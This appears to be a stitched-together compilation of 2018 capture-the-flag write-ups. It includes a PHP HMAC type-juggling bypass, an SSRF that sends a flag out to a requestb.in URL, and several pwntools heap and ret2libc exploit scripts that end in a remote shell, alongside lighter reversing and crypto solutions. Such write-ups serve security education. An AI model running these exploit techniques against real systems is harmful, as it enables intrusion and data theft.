<html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <link rel="icon" href="favicon.ico">
<title>BearShare</title>
<link href="dist/css/bootstrap.min.css" rel="stylesheet">
<style> /* Sticky footer styles -------------------------------------------------- */ html { position: relative; min-height: 100%; } body { /* Margin bottom by footer height */ margin-bottom: 60px; } .footer { position: absolute; bottom: 0; width: 100%; /* Set the fixed height of the footer here */ height: 60px; line-height: 60px; /* Vertically center the text there */ background-color: #f5f5f5; }
/* Custom page CSS -------------------------------------------------- */ /* Not required for template or sticky footer method. */
body > .container { padding: 60px 15px 0; }
.footer > .container { padding-right: 15px; padding-left: 15px; }
code { font-size: 80%; } </style> </head>
<body>
<header> <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark"> BearShare <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation"> <span></span> </button> <div class="collapse navbar-collapse" id="navbarCollapse"> Create message Get message <span>(current)</span> </div> </nav> </header>
<main role="main" class="container"> <div class="mt-3"> <h1>BearShare</h1> <h3>Private message sharing</h3> </div> Need a dumb way to share your private message? Use BearShare! <xmp style="background: #f8f9fa;overflow-x:scroll;padding:10px;max-height:500px">
Need a dumb way to share your private message? Use BearShare!
</xmp> <form class="form-signin" method="POST" action="download.php"> <input type="hidden" name="nonce" value="<?php echo $nonce; ?>"/> <input type="hidden" name="hash" value=""/> <div class="form-row"> <div class="form-group col-md-3"> <select class="form-control ss" name="storagesv"> <option disabled selected value>-- Storage server --</option> <option value="message1.local">message1.local</option> <option value="message2.local">message2.local</option> </select> </div> <div class="form-group col-md-9"> <input type="text" class="form-control" name="messid"/> </div>
<button class="btn btn-lg btn-primary btn-block" style="max-width:300px;margin:auto;margin-top:30px;" type="submit">Read message</button> </form> </main>
<footer class="footer"> <div class="container"> <span>Content © 2018 - AceBear</span> </div> </footer>
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> <script>window.jQuery || document.write('<script src="assets/js/vendor/jquery-slim.min.js"><\/script>')</script> <script src="assets/js/vendor/popper.min.js"></script> <script src="dist/js/bootstrap.min.js"></script> <script> $( ".ss" ).change(function() { if($(".ss").val() == "message1.local"){ $("input[name='hash']").val(""); } else if($(".ss").val() == "message2.local"){ $("input[name='hash']").val(""); } else { "None"; } }); </script> </body></html>```
One condition of `download.txt` immediately catches the eye:
```phpif($_POST['storagesv'] === 'message1.local' or $_POST['storagesv'] === 'message2.local'){ $url = 'http://'.$_POST['storagesv'].'/';} elseif ($_POST['storagesv']==="gimmeflag") { die('AceBear{******}');}```
Seems like we know where to look!
### Reversing the application
In order to display the flag, we need to provide the parameter`storagesv=gimmeflag` in a POST request. This condition is only checked if`isset($_POST['messid'])` evaluates to `True`, which means we must providethe parameter `messid` as well.
Between these two checks, the function `validate_hash()` is called. Let'scheck its code:
```phpfunction validate_hash(){ if(empty($_POST['hash']) || empty($_POST['storagesv'])){ die('Cannot verify server'); } if(isset($_POST['nonce'])){ $S_KEY = hash_hmac('sha256',$_POST['nonce'],$S_KEY); } $final_hash = hash_hmac('sha256',$_POST['storagesv'],$S_KEY); if ($final_hash !== $_POST['hash']){ die('Cannot verify server'); }}```
First, it checks whether the `hash` parameter and the `storagesv` parameterexist, and terminates if they don't. Therefore, we need to pass a `hash`parameter in our POST request as well, which looks like this so far:`storagesv=gimmeflag&hash=randomvalue1&messid=randomvalue2`.
After that, it checks whether the parameter `nonce` is set, and hashes it using`hash_hmac` with a secret key. This secret key then becomes the result of thiscomputation. If `nonce` is not provided through the parameters, the programjust skips the condition and keeps running. We don't **need** to pass a `nonce`parameter in our request, but we **can**, which will probably come in handy.
Then, the value of our `storagesv` parameter is hashed using the previouslyevoked secret key.
Finally, this hash is compared to the `hash` parameter from our request. Ifthese two hashes match, the function results normally.
### What we should aim for
Because we want to predict the value of `$final_hash`, we have to be able tocontrol the value of `$S_KEY` during the second call to `hash_hmac`. The onlyway to do that is by finding a way to manipulate the output of`hash_hmac('sha256',$_POST['nonce'],$S_KEY);`.
### What's the vulnerability?
The vulnerability is not obvious here, and requires a bit of knowledge aboutthe specification of the `hash_hmac` function in PHP. It is no use lookinginto the `hash_hmac` algorithm as it is still cryptographically secure fornow.
While we are able to set the value of `$S_KEY` by setting the `nonce` parameter,there is no way of controlling the output of `hash_hmac` to set `$S_KEY` toa predictable value, since a secret key is used in the function call…Or is there?
The value of `$_POST['nonce']` really doesn't provide any way of predicting theoutput of `hash_hmac` if we don't know the secret key used. However, the valueof `$_POST['nonce']` isn't the only characteristic of the parameter we cancontrol: we also control its **type**.
`hash_hmac` works well when its second parameter is a string, but what if itis an array for example?
```phpphp > hash_hmac("sha256", array(1), "secret");PHP Warning: hash_hmac() expects parameter 2 to be string, array given in php shell code on line 1```
We get **a warning**! But… a warning is not an error, so what is the outputof the function? Well, it is **NULL**.
```phpphp > print_r(hash_hmac("sha256", array(1), "secret") == NULL);PHP Warning: hash_hmac() expects parameter 2 to be string, array given in php shell code on line 11```
So, if we make `$_POST['nonce']` an array, we should be able to pass any stringin `$_POST['storagesv']` provided `$_POST['hash']` contains`hash_hmac("sha256", $_POST['storagesv'], NULL)`.
### Wrapping up
We issue the following curl request:
```bashcurl -X POST --data "nonce[]=lol&nonce[]=lol&messid=lol&storagesv=gimmeflag&hash=028cf6abf024b107104bc69d844cd3e70755cf2be66b9ab313ca62f9efdcf769" http://35.198.201.83/download.php```
and we obtain the first flag: `AceBear{b4d_Hm4C_impl3M3nt4t10N}`!!
## BearShare 2
Of course, we spotted another interesting piece of code in **BearShare**:
```phpif($messid){ $url .= $messid; $out = shell_exec('/usr/bin/python '.$BROWSER_BOT.' '.escapeshellarg('http://route.local/?url='.urlencode($url)).' 2>&1');} else { die('Hey, are you a haxor?');}```
Any call to `shell_exec` in a CTF obviously reeks of exploitation potential.So, what's up with that?
### Reversing the application
We can pretty much keep a big part of our payload here. If `$messid` is setafter going through a filter, it is concatenated to `$url`, a variable that isthen used to… do something, we don't know what yet; it would seem natural thatit is designed to visit the page at `$url`.
`$url` is set in the previous condition to the value of `$_POST['storagesv']`if it is **message1.local** or **message2.local**. Otherwise, it is left empty,and we can therefore control it completely using `$messid`.
After checking with the values `storagesv=lol`,`hash=ed094d614919a055e78dc191fb658b9b0e7b24d0d05eb421211eecdc37ebb566`and `messid=lol`, we get a page containg the following output:
```html<xmp style="background: #f8f9fa;overflow-x:scroll;padding:10px;max-height:500px"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1>The requested URL /lol was not found on this server.<hr /><address>Apache/2.4.27 (Ubuntu) Server at route.local Port 80</address></body></html></xmp>```
The requested URL /lol was not found on this server.
This is an SSRF, alright.
### Exploitation
So, this looks like it has the potential for a SSRF. The filter function isquite permissive. We're not sure of what we're looking for though, so we'regoing to apply the golden rule we learned in this CTF: **check robots.txt**.
We run the following command:
```bashcurl -X POST --data "messid=robots.txt&nonce[]=lol&nonce[]=lol&storagesv=lol&hash=ed094d614919a055e78dc191fb658b9b0e7b24d0d05eb421211eecdc37ebb566" http://35.198.201.83/download.php```
and we get the following output:
```<xmp style="background: #f8f9fa;overflow-x:scroll;padding:10px;max-height:500px"><html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>User-agent: * Disallow: /index_09cd45eff1caa0e.txt </body></html></xm```
Ok, let's check `/index_09cd45eff1caa0e.txt`:
```bashcurl -X POST --data "messid=index_09cd45eff1caa0e.txt&nonce[]=lol&nonce[]=lol&storagesv=lol&hash=ed094d614919a055e78dc191fb658b9b0e7b24d0d05eb421211eecdc37ebb566" http://35.198.201.83/download.php```
This outputs:
```<xmp style="background: #f8f9fa;overflow-x:scroll;padding:10px;max-height:500px"><html xmlns="http://www.w3.org/1999/xhtml"><head></head><body><?php if(isset($_GET['url'])){ $url = (string)$_GET['url']; header('Location: '.$url.'?flag=***SECRET***:'); }?></body></html></xmp>```
We figure out that this is a backup of `/index.php` on the local server`route.local`. Basically, passing a `url` parameter to the request to this filewill send the flag to the server it points to.
In order to exfiltrate it, we need to pass a URL we control as a parameter; itdoes not need to be prefixed with `http://` but at least by `//`, which isa pattern that is filtered by the `filter` function.
It seems quite obvious to try double encoding one of the slashes here and, afterexecuting
```phpcurl -X POST --data "nonce[]=lol&nonce[]=lol&storagesv=lol&hash=ed094d614919a055e78dc191fb658b9b0e7b24d0d05eb421211eecdc37ebb566&messid=index.php%3Furl=%252F/requestb.in/zmecxqzm" http://35.198.201.83/download.php```
We obtain the flag in our bin: `AceBear{A_w4Y_t0_tr1cK_oP3n_r3Dir3cT}`!!
## Conclusion
Those two challenges were very interesting, and I had a lot of fun beating them.Thanks a lot to the organizing team for making such a cool CTF! |
realloc size 0 -> uaf -> heap ptr modify
from pwn import *
#p=process(['./memo_heap'],env={'LD_PRELOAD':'./memoheap_libc.so.6'})p=remote('memoheap.acebear.site',3003)
def create(size,name): p.sendlineafter('choice: ','1') p.sendlineafter('? ',str(size)) p.sendlineafter(': ',name)
def edit(idx,name): p.sendlineafter('choice: ','2') p.sendlineafter(': ',str(idx)) p.sendlineafter(': ',name)
def show(idx): p.sendlineafter('choice: ','3') p.sendlineafter(': ',str(idx))
def delete(idx): p.sendlineafter('choice: ','4') p.sendlineafter(': ',str(idx))
p.recvuntil('Menu')create(0x100,'AAAA')create(0x100,'BBBB')delete(0)create(8,'A'*8)show(0)sleep(1)p.recvuntil('A'*8)main_arena = u64(p.recv(6)+'\x00\x00')libc_base = main_arena - 0x3c4c78malloc_hook = libc_base + 0x3c4b10one_shot = libc_base + 0xf1117print hex(main_arena)print hex(libc_base)print hex(malloc_hook)sleep(1)create(8,'C'*8)delete(2)delete(0)create(1,'Z') #0show(0)p.recvuntil('Name: Z')heap = u64('\x00'+p.recv(5)+'\x00\x00')print hex(heap)delete(0)sleep(1)delete(1)create(0x5f,'A'*8) #0
create(0,'') #1edit(1,'')create(8,'C'*8) #2delete(1)
create(16,p64(heap+0x10)+p32(0x5f)+p32(0x1)) #0 == 2create(0x5f,'D'*8) #3delete(2) #0 3 0 == 2 3 0delete(3)delete(0)print '=='create(0x5f,p64(malloc_hook-0x23))create(0x5f,'D'*8)create(0x5f,'A'*8)create(0x5f,'E'*0x13+p64(one_shot))
p.sendlineafter(': ','1')
p.interactive() |
## === Super Marimo (Pwn: 61 solves / 375 pts) ===
1. Get marimo with "show me the marimo" command.2. Heap area can be overwritten with Profile of View command.3. Leak puts() address of GOT.4. Change One-gadget address from puts() address of GOT.5. Although libc is not given, it can be searched at the following URL. https://libc.blukat.me/ ```from pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './marimo'elf = ELF(BINARY)
puts_got_addr = elf.got['puts']
if len(sys.argv) > 1 and sys.argv[1] == 'r': s = remote("ch41l3ng3s.codegate.kr", 3333) puts_offset_addr = 0x06f690 one_gadget_offset = 0x45216else: s = process(BINARY) libc = elf.libc puts_offset_addr = libc.symbols['puts'] one_gadget_offset = 0x41bce
def Show(name, profile): s.recvuntil(">> ") s.sendline("show me the marimo") s.recvuntil(">> ") s.sendline(name) s.recvuntil(">> ") s.sendline(profile)
def View_Modify(num, profile): s.recvuntil(">> ") s.sendline("V") s.recvuntil(">> ") s.sendline(str(num)) s.recvuntil(">> ") s.sendline("M") s.recvuntil(">> ") s.sendline(profile) s.recvuntil(">> ") s.sendline("B")
def View(num): s.recvuntil(">> ") s.sendline("V") s.recvuntil(">> ") s.sendline(str(num))
def Buy(num, play): s.recvuntil(">> ") s.sendline("B") s.recvuntil(">> ") s.sendline(str(num)) s.recvuntil(">> ") input() s.sendline(play)
def Sell(num, sell): s.recvuntil(">> ") s.sendline("S") s.recvuntil(">> ") s.sendline(str(num)) s.recvuntil("[S]ell / [R]un away ?") s.sendline(sell)
Show("1", "1")Show("2", "2")
sleep(5)buf = "3"*0x28 + p64(0x21) + p64(0x15a765161)buf += p64(puts_got_addr) + p64(puts_got_addr)View_Modify(0, buf)
View(1)s.recvuntil("name : ")r = s.recv(6)
puts_addr = u64(r[0:6].ljust(8, '\x00'))libc_base_addr = puts_addr - puts_offset_addrone_gadget_addr = libc_base_addr + one_gadget_offsetprint "puts_addr =", hex(puts_addr)print "libc_base_addr =", hex(libc_base_addr)print "one_gadget_addr =", hex(one_gadget_addr)
s.recvuntil(">> ")s.sendline("B")
s.recvuntil(">> ")s.sendline("V")s.recvuntil(">> ")s.sendline("1")s.recvuntil(">> ")s.sendline("M")s.recvuntil(">> ")s.sendline(p64(one_gadget_addr))
s.interactive()```
```root@kali:~/Pwn_Super_Marimo# python exploit.py r Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to ch41l3ng3s.codegate.kr on port 3333: Doneputs_addr = 0x7fb3ef02d690libc_base_addr = 0x7fb3eefbe000one_gadget_addr = 0x7fb3ef003216[*] Switching to interactive mode$ iduid=1000(marimo) gid=1000(marimo) groups=1000(marimo)$ lsflagmarimo$ cat flagBut_every_cat_is_more_cute_than_Marimo``` |
# __Sharif CTF 8__ ## _OldSchool-NewAge_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Reverse | 75 | merrychap
**Description:**
> It all started with a leak bangnc ctf.sharif.edu 4801Alternative: nc 213.233.161.38 4801
## Solution### Binary reconWe are given [vuln4](./vuln4) binary and [libc.so.6](./libc.so.6). Let's take a look into the binary. After some reversing we get the next code:```cint copy_it(char *s1){ char s2;
strcpy(&s2, s1); return 0;}
int main(int argc, const char **argv, const char **envp) { char s;
puts("This time it is randomized..."); puts("You should find puts yourself"); fflush(stdout); fgets(&s, 200, stdin); copy_it(&s); puts("done!"); return 0;}```That's all binary. The most interesting function here is ```copy_it``` function. If we see this function in assembly and understand how much stack is allocated for local variables, then we will understand what to do next.
### Finding the vulnerability```asmsub esp, 18hsub esp, 8```Taking into account that we input 200 characters in ```s1```, then it's obvious that here is an easy buffer overflow. Alright, we can overflow ```RET``` of ```copy_it``` function, but what should we do next? How do we get the shell?
### Exploitation of the binaryThe idea is to make **```ret2libc```** attack. To make this, we have to leak a libc address. If we change the flow of the binary after overwriting ```RET``` into first ```puts``` function, making address of GOT as an argument for this ```puts```, then we leak a libc address. Pretty.
This overwriting gives us a chance to input characters one more time. Knowing libc address and the fact that argument for ```fgets``` lays right before ```RET``` address of ```copy_it``` on a stack (just debug and you will see it), then we can write into GOT entry.
Let's write address of calculated ```system``` into ```puts``` entry in GOT, then the last ```puts``` will give us the shell.
### ExploitYou can look at [exploit.py](./exploit.py) or look at just code below:
```pythonimport struct
from pwn import *
def to_n(addr): return struct.unpack('I', addr)[0]
def to_addr(n): return struct.pack('I', n)
def main(): libc = ELF('./libc.so.6') binsh = to_addr(list(libc.search('/bin/sh'))[0])
fgets = '\x3e\x85\x04\x08' puts_addr = '\x03\x85\x04\x08' puts_got = '\x74\x98\x04\x08' fflush_got = '\x68\x98\x04\x08'
pc = remote('ctf.sharif.edu', 4801)
# puts_got here is argument for the next fgets. pc.sendline('AAAAAAAAAAAAAAAAAA' + puts_got + puts_addr + fflush_got)
print(repr(pc.recvline())) print(repr(pc.recvline())) libc_base = to_n(pc.recvline()[:4]) - libc.symbols['fflush'] binsh = to_addr(to_n(binsh) + libc_base) system = to_addr(libc_base + libc.symbols['system']) print('System address: ' + hex(to_n(system))) print('/bin/sh address: ' + hex(to_n(binsh)))
# BBBB is RET address of system and binsh is the first argument pc.sendline('AAAAAAAAAAAAAAAAAAAAAA' + system + 'BBBB' + binsh)
pc.interactive()
if __name__ == '__main__': main()```
### Flag
So, the flag is:> SharifCTF{7af9dab81dff481772609b97492d6899} |
It didn't initialize key_list array and didn't check key_list in remove routine.So, we can easily trigger fastbin attack.
I overwrite **malloc_hook** with system function and give **"/bin/sh"** address because it didn't check malloc size. |
# Hello Rules!! (10 PTS)### Description
>Find the flag in the rule page
Flag: ```SharifCTF{053e3df6d82735fa4f708f3d61f2c903}```
### Solution
As description said we're going to the rule page.

We should carefully read the page and see a line at the bottom:
```The flag of this challenge is SharifCTF{MD5(lowercase(Hello_Rules))}```
Understandable, right?
```pyC:\Users\Vova\Desktop\SharifCTF8> pythonPython 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:04:45) [MSC v.1900 32 bit (Intel)] on win32Type "help", "copyright", "credits" or "license" for more information.>>> from hashlib import md5>>> str = 'Hello_Rules'.lower()>>> hash = md5(str.encode()).hexdigest()>>> 'SharifCTF{' + hash + '}''SharifCTF{053e3df6d82735fa4f708f3d61f2c903}'>>>``` |
1. Challenges uses a custom 'serializing' algorithm.2. Stores length of array/string in a single byte, length allowed <= 256.3. 256 in a single byte = 0.4. Enter email of size = 256, during storage it would be treated as '0' byte and the email string would be used to parse other fields.5. Forge a credentials array inside email.6. Register with this email and simply login to get the flag |
Первым делом я нагуглил алгоритм проверки пятнашек на С.Нашёл я его здесь - http://e-maxx.ru/algo/15_puzzle. Я переписал код на python и получилось так -#### def is_soluble (digits) :#### print(digits)#### inv = 0#### for i in range(16):#### if (digits[i] != 0):#### for j in range(i):#### if (digits[j] > digits[i]):#### inv += 1#### for i in range(16):#### if (digits[i] == 0):#### inv += 1 + i/4#### if (int(inv) & 1):#### return '1'#### else :#### return '0'.А затем я написал код который парсит текстовый файл получилось так -#### file = open('Downloads/puzzles.txt')#### lines = file.readlines()#### flag = ''#### abcd = 0#### digits = []#### num = ''#### for i in range(len(lines)):#### if (abcd == 4):#### flag += is_soluble(digits)#### digits = []#### abcd = 0#### if ('bit' in lines[i] or '-' in lines[i] or '-' in lines[i] or lines[i].replace(' ','') == '\n'):#### continue#### lines[i] = lines[i].replace(' ','0')#### for sym in lines[i]:#### try :#### int(sym)#### except :#### if (num != ''):#### digits.append(int(num))#### num = ''#### else :#### num += sym#### abcd += 1#### Весь код можно найти здесь https://pastebin.com/YfggrFch.Запускаем и получаем флаг - **SharifCTF{f5ed41a8081b60d6e04be684d6cdcb4a}** |
# Client01 (75 PTS)### Description>Attached file is the homepage of the client01. He knows the flag.
Flag: ```SharifCTF{43215f0c5e005d4e557ddfe3f2e57df0}```
### Files
- [client01.tar.gz](https://github.com/VoidHack/write-ups/blob/master/SharifCTF%208/forensics/client01/client01.tar.gz)
### Solution

After extracting the archive we can see a lot of strange folders, but I'll give you a little hint: we're interested only in ```.thunderbird```. That's an email client, so we're going to look at inbox messages (```/.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX```).

What a luck! There's a message containing ```flag``` right in its subject! Look below, you see a link, didn't you?Yes, this is a file hosting, where we can download the file called ```file```.
So, how can we open it? Try to use binwalk:
```C:\Users\Vova\Desktop\SharifCTF8> echo import binwalk; binwalk.scan('-B', 'file') | pythonDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------100 0x64 Zlib compressed data, default compression
C:\Users\Vova\Desktop\SharifCTF8>```
Um, zlib? Not from 0x00? It's strange, we need look INSIDE that file.

Wow, see that chunks? It's seems like a PNG file, but... for now it is not PNG, it's ```NG``` file.Let's add a single byte to the header:

OK, now we can open it.

Oops, someone stole a half of the flag! But we still can submit it. |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/acebear_2018_myidol/](http://www.aperikube.fr/docs/acebear_2018_myidol/)
-----# TL;DR
If you are not interested in the detailed answer to the question “How to solve this problem?”, the short answer is that using attributes of our daily life and/or the public domain to secure access to our data is not a good idea.
Having quickly identified the author’s interest in the series Mr. Robot, digging a little deeper, we were able to (more or less quickly) identify processes and techniques used by the author to conceal his data.
This is just a reflection within reach of those who would have taken the time to watch at least the first episode of the series.
Morality: Watch Mr. Robot!
|
# __Sharif CTF 8__ ## _Barnamak_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Reverse | 200 | merrychap
**Description:**
> Run the application and capture the flag!
## Solution### DecompilingWe are given with apk file. First of all, we have to decompile it. I used [jadx](https://github.com/skylot/jadx) for this, but you can use whatever tool you want. Okay, let's break into the code!
### Code reversingAs we can see, this apk is some challenge service where we have to pass 2 checks (as said in the ```Resourses/res/values/strings.xml```).
There are many different classes: network availability checker, some views and fragments (it's a kind of subview), SMS sender, and others.
The interesting class here is ```ChallengeFragmentOnClickListener```. It tells us what is going on when we click on Challenge button.
---[**CODE OF ```ChallengeFragmentOnClickListener```**](./ChallengeFragmentOnClickListener.java)
---
### Checks ```ChallengeFragmentOnClickListener``` class has ```ChallengeFragment``` field, about which we will tell later. In the onClick function happen the next checks:
```javaprivate ChallengeFragment fragment;
[...]
if (this.fragment.b()) { this.fragment.a(); return;}```
Let's explore ```ChallengeFragment``` class for understanding ```a``` and ```b``` functions:
---
[**CODE OF ```ChallengeFragment```**](./ChallengeFragmentOnClickListener.java)
---
First of all, let's start with ```b``` function. It checks the location of a device. So, it gives us the knowledge of the correct location.
```javalocation.getLatitude() == 45location.getLongitude() == -93```
The next function is ```a```. A little bit more complex, but still readable. As we know, if ```b``` check is True, then ```a``` happens.
```javaif (c.a() || c.b() || c.c()) {```
The code of ```c``` class is placed below:
```javapublic class c { public static boolean a() { for (String file : System.getenv("PATH").split(":")) { if (new File(file, "su").exists()) { return true; } } return false; }
public static boolean b() { String s = Build.TAGS; if (s == null || !s.contains("test-keys")) { return false; } return true; }
public static boolean c() { for (String file : new String[]{"/system/app/Superuser.apk", "/system/xbin/daemonsu", "/system/etc/init.d/99SuperSUDaemon", "/system/bin/.ext/.su", "/system/etc/.has_su_daemon", "/system/etc/.installed_su_daemon", "/dev/com.koushikdutta.superuser.daemon/"}) { if (new File(file).exists()) { return true; } } return false; }}```
Functions of this class check if we can get root privilege on a device. So, if we can, then happens the next:
```javaString Res = ChallengeFragment.iia(new int[]{162, 136, 133, 131, 68, 141, 119, 68, 169, 160, 49, 68, 171, TransportMediator.KEYCODE_MEDIA_RECORD, 68, 168, 139, 138, 131, 112, 141, 113, 128, 129}, String.valueOf((int) Math.round(ChallengeFragment.this.location.getLatitude())));
Toast.makeText(ChallengeFragment.this.getActivity().getBaseContext(), Res, 0).show();```
It's obviuos that ```iia``` function is some kind of decoding. So, if we execute this, then we will get the next message ```Flag is MD5 O Longtiude```. As we know, ```location.getLongitude() == -93```, so we have to just get md5 hash of "-93". Alright, that's all folks.
> SharifCTF{87a20a335768a82441478f655afd95fe}
|
## Welcome to droid
__Type:__ RE __Solves:__ 24 __Description:__ ```> o <```
__Files:__ droid.apk
## Solution:Ok, so we got an android apk, let's first unpack it and see whats inside.
```$ ls droid
AndroidManifest.xmlclasses.dexresMETA-INFlibresources.arsc```
The most interesting thing here is that `lib` folder which contains library `libnative-lib.so` for different architectures. Now we know that the app uses JNI to some precompiled library. Let's move on and decompile Java classes to see what it is doing.
`$ d2j-dex2jar.sh droid/classes.dex`
Now we can see the decompiled code. It has package ```com.example.puing.a2018codegate-- MainActivity.class -- Main2Activity.class-- Main3Activity.class-- Main4Activity.class```
Then I started to analyse what this code is doing and execute it in my head. There was input field for a password, some string manipulation, and on successful check it loads next stage/class:
```Java//MainActivity.class
if ((i >= 10) && (i <= 26)){ paramAnonymousView = new Intent(paramAnonymousView.getContext(), Main2Activity.class); paramAnonymousView.putExtra("edittext", str); MainActivity.this.startActivity(paramAnonymousView);}```
The same thing with the next class:
```Java//Main2Activity.class
if (Main2Activity.a(paramBundle).equals(str)){ paramAnonymousView = new Intent(paramAnonymousView.getContext(), Main3Activity.class); paramAnonymousView.putExtra("id", paramBundle); paramAnonymousView.putExtra("pass", str); Main2Activity.this.startActivity(paramAnonymousView); return;}```
Ok, so we have a chain of classes, each doing some kind of check. As a proper REVERSE engineers, let's look at it backwards and look what's at the end of it.
```Java//Main4Activity.class
System.loadLibrary("native-lib");this.l = ((EditText)findViewById(2131230782));this.l.setText(stringFromJNI());```Oh, just look at what we have here! A JNI call to previously found library. And on top of that without any parameters or manipulations. So it looks like this library is what returns the flag. Let's decompile it.
NOPE.JPG, ain't nobody got time to reverse that. We can do better, I hope you have prepared android environment with emulator/device and native libs.
Lets just attach that lib to our project, launch it and see what```Javapublic native String stringFromJNI();```returns. So let's create a new project, using the same package id and class name as droid.apk app, and link it to that library.
... a few minutes later ...
Ok, done.
```build.gradle...sourceSets { main { jniLibs.srcDir file('jni/') } }...```
```Javapackage com.example.puing.a2018codegate;
import android.support.v7.app.AppCompatActivity;import android.os.Bundle;import android.util.Log;
public class Main4Activity extends AppCompatActivity {
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main4);
System.loadLibrary("native-lib"); String s = stringFromJNI(); Log.w("myApp", s); }
public native String stringFromJNI();}```
Executing it we have a log message:
```com.example.puing.a2018codegate W/myApp: Wol!! awesome!! FLAG{W3_w3r3_Back_70_$3v3n7een!!!} hahahah!!```
Done. |
# Welcome challenge writeup
**Category:** Crypto - 100 points
**Description:**
> 172d330d21283133037c65101220703c187a3b1033202f24092c33103021261721273821773b3e
## Solution write-up
Contrary to most CTFs, the welcome challenge wasn't a "free" one. Ableit not a very hard one.The first thing I thought about was a simple hex encoding so I looked for an online decoder because I'm lazy.

Welp, doesn't seem like what we're loking for.
Since most bytes are in the ASCII range, as shown by the hex decoding, I thought they might have been simply shifted. Like a Ceasar cipher.Since I know that the flag will begin with "AceBear{", I tried to see what the shift could be. I also wanted to verify if the shift was the same for all the characters.
```pythonchall = "172d330d21283133037c65101220703c187a3b1033202f24092c33103021261721273821773b3e".decode("hex")clear = "AceBear{" print [(ord(i) - ord(j)) for i,j in zip(chall[:len(clear)], clear)]```
```$ python welcome.py [-42, -54, -50, -53, -68, -57, -65, -72]```
Okay so this is definitly not as easy as I thought. However, I think this track won't lead anywhere, as the shift values don't seem to have any logic, at least at first glance.
Since this isn't encrypted with a shift cipher, the only simple cipher I can think of would be a XOR. Let's try that.
```pythonkey = "".join( chr(ord(a)^ord(b)) for a,b in zip(chall[:len(clear)], "clear") )
print key
print "".join( chr(ord(a)^ord(b)) for a,b in zip(chall, itertools.cycle(key)) )```
```$ python welcome.py VNVODICHAceBear{U23_Vi3tN4m_will_be_the_winn3r}```
And we finally get the flag : `AceBear{U23_Vi3tN4m_will_be_the_winn3r}` |
# __Sharif CTF 8__ ## _Crack me!_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Reverse | 150 | merrychap
**Description:**
> Find the password.
## SolutionOkay, we have the [binary](./crackme). Let's see what is going on under the hood of this binary.
### xmm obfuscationAssembly code contains many operations with [```xmm```](https://en.wikipedia.org/wiki/Streaming_SIMD_Extensions) registers (they used in operations on several floating point/packed values).
It seems like a kind of obfuscation, so we can just skip all parts of the code containing such instructions.
### Debugger verificationFirst of all, we are faced with verification of debugger if we use a debugger.
In a moment of debugging, ```ollydbg``` (_I'm sorry for a confusing name!_) actually contains the name of a debugger (in out case it's ```OLLYDBG``` or ```idaq.exe```). After reversing ```some_check``` function we can see the next: If we use a debugger, then it has to be ```idaq.exe```.
On my OS only ollydbg is available (for debugging PE executables), so I just patched this check to always return True.
After this, we want to understand two things:- How our input will be changed further and where it will be changed.- How input's validation looks like and where it's placed.
### Several marksThere are several marks that will make an effect on some bytes of the flag. They are created in the beginning of the program:
These marks are:- ```is_debugger```. If we use a debugger, then it's ```1```, else ```0```.- ```is_not_window_mode```. If we run an application not in window mode (double click on the icon :D), then it's ```1```, else ```0```- ```some_flag```. This mark is changed in some parts of the code.
We will tell about the effect of this marks on the password a little bit later.
### Password is xoredIf we pass debugger check, then we will be faced with ```flag maybe here:``` string. In this part of the code ```some_flag``` is changed in the bad way for us (further we will say, that we can't use a debugger at all). After this, we get into the desired part of the code. Skipping all xmm obfuscation we can find interesting place:
What is going on here? Actually, in ```some_magic``` function we blockwise xor our password with ```423``` string.
After xor we change several bytes in a password (only 2 bytes).
### Effect of the marksAfter xoring, we can see the next blocks of the code:
If you don't know x86 assembly (or lazy), then use IDA's Hex-Rays to understand that this code does the following:```cpassword[2] += is_debuggerpassword[3] += is_not_window_modepassword[4] += some_flag```
### Password validation
After all changes with our password are done, it compares with ```whynxt``` string. If they are equal, then it sets ```eax``` register to 0 and saves result in ```[ebp+is_everything_alright]```. After this, we store obtained result in ```ecx``` and send it to ```final_check``` function. If ```ecx``` is 0, then we are faced with the message ```Correct:Flag is Md5 Of the password```.
So, it seems like we have to make all marks above (is_debugger, window_mode, some_flag) equal to ```0```, because in other cases we will be faced with ```Try again``` message at normal launch (without debugger, in window mode, etc). After spending some time, we get the password: ```CZJYJG```.
### Flag
> SharifCTF{2bc98b4ebc8d75050d162a45b82df6ae} |
This chanllage is open source, main file is [index.php](https://github.com/LyleMi/CTF/blob/master/2018/CodeGate/rbSql/index.php) and [dbconn.php](https://github.com/LyleMi/CTF/blob/master/2018/CodeGate/rbSql/dbconn.php) .
In this site, we can join / login / get our info. It store data in a specially constructed file. The first byte of file is ``\x01`` or ``\x02``, which means store a string or an array, The second byte store the length of string or array.
When we login as admin, we can get flag, but it seems we can only join as guest. After source code audit, I notice that this site use recursive in store, but not parse recursively. So if we construct a complicated array, parser will miss parse it, then we can generate any value we want. The final exploit is
```pythonimport requestsdata = { "uid": "lyle", "umail[]": "\x20a87ff679a2f3e71d9181a67b7542122c\x01\x0d192.168.186.1\x01\x012", "upw": "1"}requests.post("http://52.78.188.150/rbsql_4f6b17dc3d565ce63ef3c4ff9eef93ad/?page=join_chk", data)``` |
# Codegate - Reversing - RedVelvet (75 points)_Author: Brandon Everhart_, _Date: Jan 2018_
## tl;dr
